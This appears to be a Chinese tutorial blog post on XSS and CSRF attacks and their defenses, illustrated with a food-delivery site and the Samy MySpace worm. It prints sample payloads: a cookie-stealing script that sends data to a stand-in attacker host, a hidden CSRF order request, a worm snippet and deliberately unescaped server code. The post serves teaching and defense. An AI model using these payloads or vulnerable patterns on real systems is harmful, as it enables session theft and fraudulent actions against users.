外卖平台上的XSS与CSRF攻防全解析:从一次弹窗到百万蠕虫

简介: 本文以一次搜索框弹窗事故为引,系统剖析Web安全核心攻击链:从反射型XSS(用户输入未过滤→恶意脚本执行),到Cookie窃取与CSRF身份盗用,再到存储型XSS(评论区持久化攻击),最终演变为Samy蠕虫的指数级传播。涵盖原理、案例、对比及HTTPOnly、CSP、CSRF Token等实用防御方案。(239字)

前言:

之前有个项目,测试环境里随手在搜索框敲了一段调试代码,结果页面直接弹了个窗口出来。当时整个人都愣住了——原来自己写的代码和用户的输入之间,竟然没有做任何隔离。这篇文章就把那次经历的思考整理出来,从反射型XSS到CSRF,再到存储型XSS和蠕虫攻击,一步步拆解Web安全里最经典的攻击链路。

1. 反射型XSS:搜索框里的"恶作剧"

1.1. 一次意外的弹窗

实习第二天,组长让测试外卖平台的餐厅搜索功能。

在搜索框里输入了一段简单的脚本标签:

<script>alert('测试弹窗')</script>

按下回车后,页面立刻弹出了一个对话框。

这说明浏览器把搜索框里输入的内容,当作了正常的网页代码来执行。

问题的根源在于,后端把用户输入的关键词原封不动地拼接到了HTML页面中返回给浏览器,浏览器无法区分哪些是正常内容、哪些是恶意代码,就一股脑全部解析执行了。

1.2. 反射型XSS的工作原理

这种攻击之所以叫"反射型",是因为恶意代码像一面镜子:从用户端发出,经过服务器"反射"回来后,立刻在浏览器中被执行。

整个流程可以概括为三步:

步骤

动作

说明

第一步

构造恶意输入

在搜索框/URL参数中嵌入脚本代码

第二步

服务器反射

后端未做过滤,将输入原样拼接到响应页面

第三步

浏览器执行

浏览器解析响应时,将恶意代码当作正常页面逻辑执行

下面是一段典型的漏洞代码示例(Node.js + Express):

// 危险写法:直接将用户输入拼接到HTML中
app.get('/search', (req, res) => {
    const keyword = req.query.keyword;
    // 未做任何转义,直接拼接
    res.send(`
        <h2>搜索结果:${keyword}</h2>
        <p>没有找到相关餐厅</p>
    `);
});

keyword 的值是 <script>alert(1)</script> 时,返回的HTML就变成了:

<h2>搜索结果:<script>alert(1)</script></h2>

浏览器解析到 <script> 标签时,会直接执行其中的JavaScript代码。

1.3. 反射型XSS的致命弱点

这种攻击有一个明显限制:必须让受害者主动点击那条携带恶意代码的链接,攻击才会生效。

如果用户访问的是正常的、不含恶意参数的页面,就完全不受影响。

换句话说,攻击者需要想办法把精心构造的URL"投喂"给目标用户,比如通过聊天消息、论坛帖子、短信等方式发送链接。

2. Cookie与CSRF:身份盗用的"隐形通行证"

2.1. 外卖平台的登录机制

弹窗本身看起来没什么危害,但深入思考就会发现更大的隐患。

在外卖平台上完成登录后,服务器会给浏览器分配一个身份凭证。

这个凭证就叫做 Cookie,本质上是一小段文本信息,存储在浏览器本地。每次向同一个网站发送请求时,浏览器都会自动把对应的Cookie带上。

服务器正是通过Cookie来识别"当前操作的人是谁"。

可以把它理解为在外卖平台里的"工牌":每次下单、查看订单、修改地址时,系统都靠这张工牌来确认身份。

2.2. 用XSS窃取Cookie

既然Cookie如此重要,那通过XSS攻击就能把它偷走。

下面这段恶意代码可以从浏览器中读取当前页面的所有Cookie,并发送到攻击者控制的服务器:

// 恶意脚本:窃取Cookie并外传
<script>
    // document.cookie 可以读取当前页面的所有Cookie
    var stolenCookies = document.cookie;
    // 通过创建图片请求的方式,将Cookie悄悄发送到攻击者服务器
    var img = new Image();
    img.src = 'https://attacker-server.com/steal?cookies=' + encodeURIComponent(stolenCookies);
</script>

拿到Cookie之后,攻击者只需把它导入自己的浏览器,就能以受害者的身份访问外卖平台。

此时攻击者可以查看历史订单、修改收货地址,甚至使用已绑定的支付方式下单。

2.3. CSRF:借刀杀人的攻击方式

如果说XSS是利用"用户对网站的信任"来执行恶意代码,那么CSRF(跨站请求伪造)则是利用"网站对用户浏览器的信任"来盗用身份执行操作。

CSRF的核心思路是:当用户已经登录了外卖平台,浏览器里存有有效的Cookie,此时诱导用户访问一个恶意页面,该页面会自动向外卖平台发起请求(比如下单、转账),而浏览器会忠实地附带Cookie,服务器根本分不清这个请求到底是用户本人发起的还是被恶意页面触发的。

<!-- 恶意页面中的隐藏表单,用户打开此页面即自动提交 -->
<img src="https://food-delivery.com/api/order?item=999&pay=1" 
     width="0" height="0" style="display:none;" />

用户只是打开了一个看起来无害的网页,浏览器在背后已经替用户向外卖平台发了一笔订单请求。

对比维度

XSS

CSRF

攻击目标

用户(在用户浏览器中执行代码)

网站(冒充用户向网站发送请求)

信任利用

利用用户对网站的信任

利用网站对用户浏览器的信任

Cookie

需要窃取Cookie

不需要窃取,浏览器自动携带

典型场景

搜索框、评论区注入脚本

诱导用户点击恶意链接触发操作

2.4. CSRF的防御手段

针对CSRF攻击,业界已经形成了成熟的防御方案:

# Flask-WTF 内置的CSRF防护示例
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)
# 所有POST/PUT/DELETE请求都会自动校验CSRF Token
# 前端表单中必须携带 {{ csrf_token() }}

核心思路是给每个表单或请求附加一个随机生成的Token,服务器端校验Token是否匹配。恶意页面无法获取到这个Token,请求自然会被拒绝。

3. 存储型XSS:藏在数据库里的"定时炸弹"

3.1. 从搜索框到评论区

反射型XSS需要每次都"投喂"恶意链接,效率太低。

把目光转向外卖平台的餐厅评论区,情况就完全不同了。

在评论框里输入一段弹窗脚本并提交保存,这条评论会被写入网站后台的数据库。此后任何用户打开这家餐厅的详情页,系统都会从数据库读出这条评论,渲染到页面上。

浏览器在解析页面时,会再次把恶意代码当作正常内容执行。

这就是 存储型XSS:恶意代码不再是一次性的,而是被持久地存储在了服务器端。

3.2. 存储型XSS为什么更危险

与反射型XSS相比,存储型XSS有三个本质区别:

特征

反射型XSS

存储型XSS

恶意代码存储位置

不存储,存在于URL参数中

存储在服务器数据库中

触发条件

用户必须点击特定恶意链接

用户只需正常访问受感染的页面

影响范围

仅影响点击链接的个别用户

影响所有访问该页面的用户

持续性

一次性,关闭页面即失效

持久化,直到恶意数据被清除

存储型XSS曾经是Web 2.0时代排名第一的攻击类型,因为它实现了攻击的持久化,并无限扩大了影响力。

在一个外卖平台上,一条恶意评论可能被成千上万的用户看到,每个打开餐厅详情页的人都会中招。

3.3. 存储型XSS的代码示例

下面展示一段存在漏洞的评论展示逻辑(Java + JSP):

<!-- 危险写法:直接将数据库中的评论内容输出到页面 -->
<div class="comment">
    <p><%= comment.getContent() %></p>
    <span class="author">—— <%= comment.getAuthor() %></span>
</div>

如果 comment.getContent() 的值包含 <script> 标签,浏览器就会执行其中的代码。

安全的做法是对输出内容进行HTML转义:

// 安全写法:对输出内容进行HTML实体转义
String safeContent = HtmlUtils.htmlEscape(comment.getContent());
// <script> 会被转义为 &lt;script&gt;,浏览器不会执行

4. Samy蠕虫:20小时感染百万账户

4.1. 存储型XSS与CSRF的组合拳

如果把存储型XSS和CSRF攻击结合在一起,就能制造出一种自动传播的"蠕虫"。

互联网安全史上最著名的案例之一,就是2005年发生在MySpace平台上的Samy蠕虫事件。

一个名叫Samy Kamkar的安全研究员,在自己的MySpace个人简介页面中嵌入了一段恶意代码。

这段代码做了两件关键的事情:

第一步:自动添加好友。 利用XSS和CSRF的组合,让每一个查看Samy简介的用户,都自动向Samy发送一条添加好友的请求。

第二步:自我复制。 恶意代码会将自身自动复制到访问者的个人简介页面中。

// Samy蠕虫的核心逻辑(简化示意)
// 1. 向Samy发送好友请求
var xhr = new XMLHttpRequest();
xhr.open('POST', '/add_friend.php', true);
xhr.send('friend_id=samy');
// 2. 将恶意代码复制到自己的个人简介中
var profileXhr = new XMLHttpRequest();
profileXhr.open('POST', '/edit_profile.php', true);
profileXhr.send('bio=' + encodeURIComponent(maliciousCode));

4.2. 指数级传播的威力

只需要有10个人浏览了Samy的个人简介,这10个人不仅会自动添加Samy为好友,还会把同样的恶意代码复制到自己的简介页面中。

接下来,这10个人的好友在访问他们的简介时,又会重复同样的过程。

一传十,十传百,仅用了20个小时,超过100万个MySpace账户被感染。

时间

感染账户数

说明

第1小时

~100

最初几轮传播

第5小时

~10,000

指数增长开始显现

第10小时

~200,000

传播速度急剧加快

第20小时

1,000,000+

MySpace被迫临时关闭网站进行清理

这个事件的传播模型可以用一个简单的公式来描述:每一轮传播中,每个被感染的用户会感染其所有查看简介的好友。在实际的社交网络中,这种裂变式传播的速度远超直觉预期。

4.3. Samy蠕虫的深远影响

Samy蠕虫事件直接推动了两项关键安全技术的发展:

HTTPOnly Cookie: 设置此属性后,浏览器前端的JavaScript代码将无法读取Cookie,从而切断了通过XSS窃取Cookie的路径。

# HTTP响应头中设置HTTPOnly Cookie
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict

内容安全策略(CSP): 通过在HTTP响应头中声明策略,告诉浏览器只允许执行来自指定来源的脚本,任何用户提供的内联脚本都不可以执行。

# CSP响应头示例:只允许执行本站域名下的脚本
Content-Security-Policy: script-src 'self' https://cdn.example.com

这两项技术从根源上大幅提高了XSS攻击的门槛,至今仍是Web安全防御的核心手段。

5. 三类XSS攻击的完整对比与防御总结

5.1. 攻击类型全景对比

经过前面的逐步拆解,三种攻击方式的差异已经非常清晰:

对比维度

反射型XSS

存储型XSS

XSS蠕虫

代码存储位置

URL参数

服务器数据库

服务器数据库(可自我复制)

触发方式

用户点击恶意链接

用户访问受感染页面

用户访问受感染页面(自动扩散)

攻击范围

单个用户

所有访问该页面的用户

整个平台的用户群体

是否涉及CSRF

不一定

不一定

通常结合CSRF实现自动操作

典型案例

搜索框注入

评论区/个人简介注入

Samy蠕虫(MySpace,2005)

5.2. 防御措施速查表

从开发者角度,以下是一份可以直接落地的防御清单:

防御层面

具体措施

对应威胁

输入过滤

对所有用户输入做HTML实体转义和特殊字符过滤

XSS(全部类型)

输出编码

在页面渲染时对动态内容进行上下文编码(HTML/JS/URL)

XSS(全部类型)

HttpOnly

设置Cookie的HttpOnly属性,禁止JS读取

XSS窃取Cookie

CSP策略

配置Content-Security-Policy响应头,限制脚本来源

XSS(全部类型)

CSRF Token

为所有状态变更请求附加并校验随机Token

CSRF

SameSite

设置Cookie的SameSite属性为Strict或Lax

CSRF

Referer校验

服务端校验请求来源是否合法

CSRF

6. 总结

从外卖平台搜索框里的一个弹窗,到窃取身份凭证、伪造操作请求,再到数据库中的持久化攻击和百万级别的蠕虫传播,这条攻击链路的每一步都建立在同一个基础漏洞之上:服务器没有对用户输入做充分的安全处理

对于开发者来说,最核心的防御原则其实只有一条——永远不要信任用户输入,在输入端做过滤,在输出端做转义。

实际开发中遇到过的XSS或CSRF问题,欢迎在评论区一起讨论 ~(* ̄︶ ̄)

目录
相关文章
|
1月前
|
人工智能
Qwen3.8抢先体验!正式版即将发布并开源!
千问Qwen3.8即将开源,参数达2.4T,进化速度以“天”计,实力媲美Fable 5。预览版Qwen3.8-Max已上线阿里Token Plan等平台,限时优惠:日间Credits低至1折,夜间更优,个人/团队版月付仅35元起!
3223 138
|
1月前
|
数据挖掘
Tushare接口文档:个股资金流向(moneyflow)
本文旨在对Tushare的个股资金流向`moneyflow`数据接口进行介绍,提供更多参考示例和使用说明。 本接口可获取沪深A股票资金流向数据,分析大单小单成交情况,用于判别资金动向。本文除了从交易日、个股方面简单介绍如何快速获取数据外,还演示了如何计算主力资金流向及对单支股票主力资金流向绘制趋势图,最后演示了如何筛选主力资金净流入top 10的个股。
536 9
|
1月前
|
机器学习/深度学习 人工智能 资源调度
银行零售信贷AI实践:从尽调到贷后的全链路Skill化
信贷审批的本质不是批不批,而是还得起多少。本文详解等额本息与提前还款的算法实现,构建WOE+IV值信用评分模型实现自动审批,用RFM+K-Means聚类完成零售客户分层,设计基于余弦相似度+TopN的产品推荐和AUM增长测算,实现马科维茨投资组合优化和退休规划AI推演引擎。附带7大维度完整性检查清单。
|
1月前
|
人工智能 文字识别 API
2026年AI融合RPA能替代哪些工作?企业财务运营自动化真实使用体验
2026年AI与RPA深度融合已成为企业自动化标配。本文从真实财务运营场景出发,深度拆解银行流水自动转凭证、发票OCR识别与三单匹配、银企对账、薪资核算与社保申报、费用报销自动化、财务报表自动生成等6类可自动化工作,结合149个核算主体对账革命等实战案例,分析页面改版中断、数据安全合规、多设备部署成本三大落地痛点及解法。并从AI融合深度、部署灵活性、生态对接能力、成本透明度、使用门槛五个维度,为企业提供2026年国产轻量型RPA选型参考。
396 5
|
2月前
|
运维 应用服务中间件 网络安全
宝塔服务器报错全覆盖排查指南:新手不用盲猜,按步骤快速修复网站/面板故障
宝塔面板本身稳定性极强,绝大多数报错并非面板BUG,而是端口策略、系统资源、网站代码、权限配置四类问题。 运维排查核心思想:先外网,后内网;先系统,后服务;先日志,后重装。遇到报错不要慌乱,按照本文流程一步步定位,无需专业运维功底,也能独立
711 6
|
2月前
|
人工智能 自然语言处理 JavaScript
阿里云百炼CLI(Bailian CLI)赋能AI Agent:从安装到图像/视频/语音能力全流程指南
阿里云百炼CLI(Bailian CLI)是专为AI Agent场景打造的命令行工具,它将百炼平台的文本、图像、视频、语音、视觉理解、联网搜索、知识库检索等十余项原子能力统一封装,以轻量化、可脚本化的方式对外提供调用入口。通过百炼CLI,各类AI Agent(如Cursor、OpenClaw、Claude Code、Qoder等)无需复杂的接口开发与协议适配,即可一键接入百炼全栈AI能力,实现从单纯文本对话到多模态智能体的能力跃迁。本文将从安装配置、鉴权设置、主流AI Agent接入、图像/视频/语音等核心能力调用、常见问题排查等方面,提供完整实操教程,帮助开发者快速完成集成与能力调用。
584 8
|
3月前
|
JSON JavaScript 前端开发
在TypeScript和JavaScript如何使用MetaMessage?
MetaMessage 是一种跨语言数据交换协议,支持 TypeScript/JavaScript(通过装饰器自动类型转换)、JSONC 文本与紧凑二进制 wire 格式,兼顾可读性、精度(如 bigint 表示 int64)与性能,旨在替代 JSON、Protobuf 等传统序列化方案。
264 125
|
2月前
|
机器学习/深度学习 数据采集 人工智能
田间杂草检测数据集分享(适用于YOLO系列深度学习分类检测任务)
本数据集含4000张真实农田图像(小麦/玉米/水稻田),YOLO格式标注杂草目标,覆盖多天气、光照与视角,适用于YOLO系列等目标检测模型训练,助力智能除草与精准农业研究。(239字)
453 16
|
2月前
|
机器学习/深度学习 数据采集 人工智能
中药材图像识别数据集分享(适用于YOLO系列深度学习分类检测任务)
本数据集含9200张高清中药材图像,覆盖100类常见药材(如黄芪、枸杞子、天麻等),已按YOLO标准格式划分训练集(8000张)与验证集(1200张),支持分类、检测及多模态任务,适配YOLO/ResNet/ViT等模型,助力中药AI识别研发。
531 5

热门文章

最新文章